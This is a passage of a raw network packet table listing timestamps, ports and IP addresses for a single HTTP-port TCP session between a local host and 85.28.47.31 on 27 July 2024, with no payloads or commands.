Jul 27, 2024 12:01:08.968229055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968245029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968250990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.968259096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968275070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.968276024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968303919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.968331099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.968627930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968642950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968667984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968683004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968693018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.968698025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968713045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968728065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968732119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.968743086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968764067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.968790054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.969904900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.969921112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.969978094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.970041990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.970098972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.970200062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.970259905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.970376015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.970434904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.970448971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.970501900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.970627069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.970693111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.970813990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.970829964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.970844984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.970869064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.970897913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.970953941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.971009970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.971111059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.971127033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.971174002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.971254110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972306967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972323895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972337961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972352028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972368956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972377062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972393990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972409010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972418070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972423077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972439051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972434044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972455025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972472906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972515106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972636938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972700119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972706079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972735882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972764015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972769976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972795963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972805023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972824097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972839117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972870111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972876072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972903967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972908974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972935915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972943068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972966909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.972975969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.972995043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.973014116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.973038912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.973143101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.973161936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.973360062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.058105946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.058128119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.058145046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.058199883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.058216095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.058232069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.058248997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.058329105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.058329105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.058330059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.058799982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.058855057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.058865070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.058871031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.058908939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.058937073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.059047937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.059065104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.059079885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.059093952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.059106112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.059113979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.059144020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.059170008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.059528112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.059544086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.059559107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.059573889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.059590101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.059596062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.059604883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.059621096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.059644938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.059674978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.059700012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.060420990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060436964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060478926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.060585022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060600996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060616970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060631990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060647011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060643911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.060681105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.060713053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.060780048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060795069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060811043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060827017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060830116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.060843945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.060853958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.060879946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.060919046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.061022043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.061038971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.061072111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.061096907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.062619925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.062680006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.062680006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.062695980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.062728882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.062752962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.062861919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.062877893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.062892914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.062921047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.062944889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.063122034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063138008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063179016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063190937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.063195944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063211918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063227892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063227892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.063244104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063272953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.063306093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.063625097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063685894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.063860893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063889980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063920021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063925982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.063946962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.063950062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.063978910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.063982010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064006090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064013958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064038038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064043999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064070940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064074039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064089060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064105034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064135075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064135075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064161062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064167023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064183950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064196110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064222097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064239025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064702034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064733028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064759970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064779997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064781904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064810038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064838886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064840078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064866066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064870119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064893961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064899921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064924955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064930916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064954996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.064960957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.064991951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.065005064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.065009117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.065059900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067481995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067511082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067550898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067579985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067647934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067677975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067707062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067708015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067737103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067742109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067761898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067769051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067794085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067799091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067825079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067831039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067856073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067861080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067874908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067890882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067918062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067920923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.067950964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.067971945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068511009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068540096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068569899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068577051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068594933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068609953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068623066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068655968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068670034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068701982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068711042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068732023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068763018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068764925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068789005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068793058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068811893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068821907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068849087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068851948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068869114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068881989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068901062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068907976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068933964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068937063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068968058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.068970919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068990946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.068999052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069024086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069029093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069050074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069057941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069087982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069092035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069109917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069118023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069144964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069149971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069180012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069180965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069205046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069211006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069236040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069240093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069266081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069269896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069293976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069300890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069324970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069329023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.069360971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.069389105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.153677940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.153712034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.153825045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.153884888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.153884888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.153987885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.154021025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.154027939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.154051065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.154055119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.154081106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.154088974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.154115915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.154139042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.154723883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.154757023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.154792070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.154877901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.154910088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.154944897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.154998064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155055046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155059099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155088902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155118942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155122995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155153036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155158997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155172110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155217886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155410051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155442953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155478001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155481100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155502081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155513048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155543089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155565977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155771971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155801058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155834913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155836105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155852079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155868053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155886889 CEST	49704	80	192.168.2.5	85.28.47.31
